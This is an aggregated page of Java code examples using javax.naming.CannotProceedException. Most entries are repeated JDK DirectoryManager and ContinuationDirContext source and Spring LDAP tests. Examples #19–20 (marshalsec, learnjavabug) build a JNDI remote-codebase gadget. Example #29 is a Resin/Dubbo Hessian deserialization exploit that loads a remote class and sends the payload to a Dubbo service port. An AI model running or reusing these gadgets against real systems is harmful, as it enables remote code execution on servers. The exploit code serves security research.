javax.naming.CannotProceedException Java Examples

The following examples show how to use javax.naming.CannotProceedException. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: DirectoryManager.java    From openjdk-8 with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #2
Source File: DirectoryManager.java    From openjdk-jdk9 with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a {@code DirContext} operation.
  * Operates just like {@code NamingManager.getContinuationContext()},
  * only the continuation context returned is a {@code DirContext}.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null {@code DirContext} object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #3
Source File: DirectoryManager.java    From jdk8u-jdk with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #4
Source File: DirectoryManager.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #5
Source File: DirectoryManager.java    From Java8CN with Apache License 2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #6
Source File: DirectoryManager.java    From openjdk-jdk8u with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #7
Source File: DirectoryManager.java    From hottub with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #8
Source File: DirectoryManager.java    From JDKSourceCode1.8 with MIT License 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #9
Source File: DirectoryManager.java    From openjdk-8-source with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #10
Source File: DirectoryManager.java    From jdk8u_jdk with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #11
Source File: DirectoryManager.java    From jdk8u60 with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #12
Source File: DirectoryManager.java    From jdk8u-jdk with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #13
Source File: DirectoryManager.java    From TencentKona-8 with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #14
Source File: DirectoryManager.java    From jdk8u-dev-jdk with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #15
Source File: DirectoryManager.java    From dragonwell8_jdk with GNU General Public License v2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #16
Source File: DirectoryManager.java    From jdk1.8-source-analysis with Apache License 2.0 6 votes vote down vote up
/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 
Example #17
Source File: LdapTemplateNamespaceHandlerTest.java    From spring-ldap with Apache License 2.0 5 votes vote down vote up
@Test
public void verifyParsePool2ValidationSet() {
    ClassPathXmlApplicationContext ctx = new ClassPathXmlApplicationContext("/ldap-namespace-config-pool2-test-specified.xml");

    ContextSource outerContextSource = ctx.getBean(ContextSource.class);
    assertThat(outerContextSource).isNotNull();

    ContextSource pooledContextSource = ((TransactionAwareContextSourceProxy) outerContextSource).getTarget();
    assertThat(pooledContextSource).isNotNull();

    org.apache.commons.pool2.impl.GenericKeyedObjectPool objectPool =
            (org.apache.commons.pool2.impl.GenericKeyedObjectPool) getInternalState(pooledContextSource, "keyedObjectPool");
    assertThat(objectPool.getMinEvictableIdleTimeMillis()).isEqualTo(123);
    assertThat(objectPool.getTimeBetweenEvictionRunsMillis()).isEqualTo(321);
    assertThat(objectPool.getNumTestsPerEvictionRun()).isEqualTo(22);
    assertThat(objectPool.getSoftMinEvictableIdleTimeMillis()).isEqualTo(12);

    assertThat(objectPool.getTestOnBorrow()).isEqualTo(true);
    assertThat(objectPool.getTestOnReturn()).isEqualTo(true);
    assertThat(objectPool.getTestOnCreate()).isEqualTo(true);
    assertThat(objectPool.getTestWhileIdle()).isEqualTo(true);

    Object objectFactory = getInternalState(pooledContextSource, "dirContextPooledObjectFactory");
    org.springframework.ldap.pool2.validation.DefaultDirContextValidator validator =
            (org.springframework.ldap.pool2.validation.DefaultDirContextValidator) getInternalState(objectFactory, "dirContextValidator");
    assertThat(validator.getBase()).isEqualTo("ou=test");
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");

    SearchControls searchControls = ctx.getBean(SearchControls.class);
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");
    assertThat(validator.getSearchControls()).isSameAs(searchControls);

    Set<Class<? extends Throwable>> nonTransientExceptions =
            (Set<Class<? extends Throwable>>) getInternalState(objectFactory, "nonTransientExceptions");
    assertThat(nonTransientExceptions).hasSize(2);
    assertThat(nonTransientExceptions.contains(CommunicationException.class)).isTrue();
    assertThat(nonTransientExceptions.contains(CannotProceedException.class)).isTrue();
}
 
Example #18
Source File: LdapTemplateNamespaceHandlerTest.java    From spring-ldap with Apache License 2.0 5 votes vote down vote up
@Test
@SuppressWarnings("unchecked")
public void verifyParsePoolingValidationSet() {
    ClassPathXmlApplicationContext ctx = new ClassPathXmlApplicationContext("/ldap-namespace-config-pooling-test-specified.xml");

    ContextSource outerContextSource = ctx.getBean(ContextSource.class);
    assertThat(outerContextSource).isNotNull();

    ContextSource pooledContextSource = ((TransactionAwareContextSourceProxy) outerContextSource).getTarget();
    assertThat(pooledContextSource).isNotNull();

    GenericKeyedObjectPool objectPool = (GenericKeyedObjectPool) getInternalState(pooledContextSource, "keyedObjectPool");
    assertThat(objectPool.getMinEvictableIdleTimeMillis()).isEqualTo(123);
    assertThat(objectPool.getTimeBetweenEvictionRunsMillis()).isEqualTo(321);
    assertThat(objectPool.getNumTestsPerEvictionRun()).isEqualTo(22);

    Object objectFactory = getInternalState(pooledContextSource, "dirContextPoolableObjectFactory");
    DefaultDirContextValidator validator = (DefaultDirContextValidator) getInternalState(objectFactory, "dirContextValidator");
    assertThat(validator.getBase()).isEqualTo("ou=test");
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");

    SearchControls searchControls = ctx.getBean(SearchControls.class);
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");
    assertThat(validator.getSearchControls()).isSameAs(searchControls);

    Set<Class<? extends Throwable>> nonTransientExceptions =
            (Set<Class<? extends Throwable>>) getInternalState(objectFactory, "nonTransientExceptions");
    assertThat(nonTransientExceptions).hasSize(2);
    assertThat(nonTransientExceptions.contains(CommunicationException.class)).isTrue();
    assertThat(nonTransientExceptions.contains(CannotProceedException.class)).isTrue();
}
 
Example #19
Source File: JDKUtil.java    From learnjavabug with MIT License 5 votes vote down vote up
public static DirContext makeContinuationContext ( String codebase, String clazz ) throws Exception {
    Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
    Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
    ccCons.setAccessible(true);
    CannotProceedException cpe = new CannotProceedException();
    Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]);
    cpe.setResolvedObj(new Reference("Foo", clazz, codebase));
    return (DirContext) ccCons.newInstance(cpe, null);
}
 
Example #20
Source File: JDKUtil.java    From marshalsec with MIT License 5 votes vote down vote up
public static DirContext makeContinuationContext ( String codebase, String clazz ) throws Exception {
    Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
    Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
    ccCons.setAccessible(true);
    CannotProceedException cpe = new CannotProceedException();
    Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]);
    cpe.setResolvedObj(new Reference("Foo", clazz, codebase));
    return (DirContext) ccCons.newInstance(cpe, null);
}
 
Example #21
Source File: ContinuationDirContext.java    From openjdk-8 with GNU General Public License v2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #22
Source File: ContinuationDirContext.java    From jdk1.8-source-analysis with Apache License 2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #23
Source File: ContinuationDirContext.java    From dragonwell8_jdk with GNU General Public License v2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #24
Source File: ContinuationDirContext.java    From TencentKona-8 with GNU General Public License v2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #25
Source File: ContinuationDirContext.java    From jdk8u-dev-jdk with GNU General Public License v2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #26
Source File: ContinuationDirContext.java    From jdk8u60 with GNU General Public License v2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #27
Source File: ContinuationDirContext.java    From jdk8u-jdk with GNU General Public License v2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #28
Source File: ContinuationDirContext.java    From jdk8u_jdk with GNU General Public License v2.0 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 
Example #29
Source File: ResinPoc.java    From learnjavabug with MIT License 4 votes vote down vote up
public static void main(String[] args) throws InterruptedException {
  try {
    Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
    Constructor<?> ccCons = ccCl
        .getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
    ccCons.setAccessible(true);
    CannotProceedException cpe = new CannotProceedException();
    Reflections.setFieldValue(cpe, "cause", null);
    Reflections.setFieldValue(cpe, "stackTrace", null);

    cpe.setResolvedObj(new Reference("Foo", "Calc", "http://127.0.0.1:8080/"));

    Reflections.setFieldValue(cpe, "suppressedExceptions", null);
    DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
    QName qName = new QName(ctx, "foo", "bar");

    Object o = ToStringUtil.makeToStringTrigger(qName);

    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

    // header.
    byte[] header = new byte[16];
    // set magic number.
    Bytes.short2bytes((short) 0xdabb, header);
    // set request and serialization flag.
    header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

    // set request id.
    Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

    ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
    Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
    NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
    sf.setAllowNonSerializable(true);
    out.setSerializerFactory(sf);

    out.writeObject(o);
    out.flushBuffer();
    if (out instanceof Cleanable) {
      ((Cleanable) out).cleanup();
    }

    Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
    byteArrayOutputStream.write(header);
    byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

    byte[] bytes = byteArrayOutputStream.toByteArray();

    //todo 此处填写被攻击的dubbo服务提供者地址和端口
    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(bytes);
    outputStream.flush();
    outputStream.close();
  } catch (Exception e) {
    e.printStackTrace();
  }
}
 
Example #30
Source File: ContinuationDirContext.java    From JDKSourceCode1.8 with MIT License 4 votes vote down vote up
ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}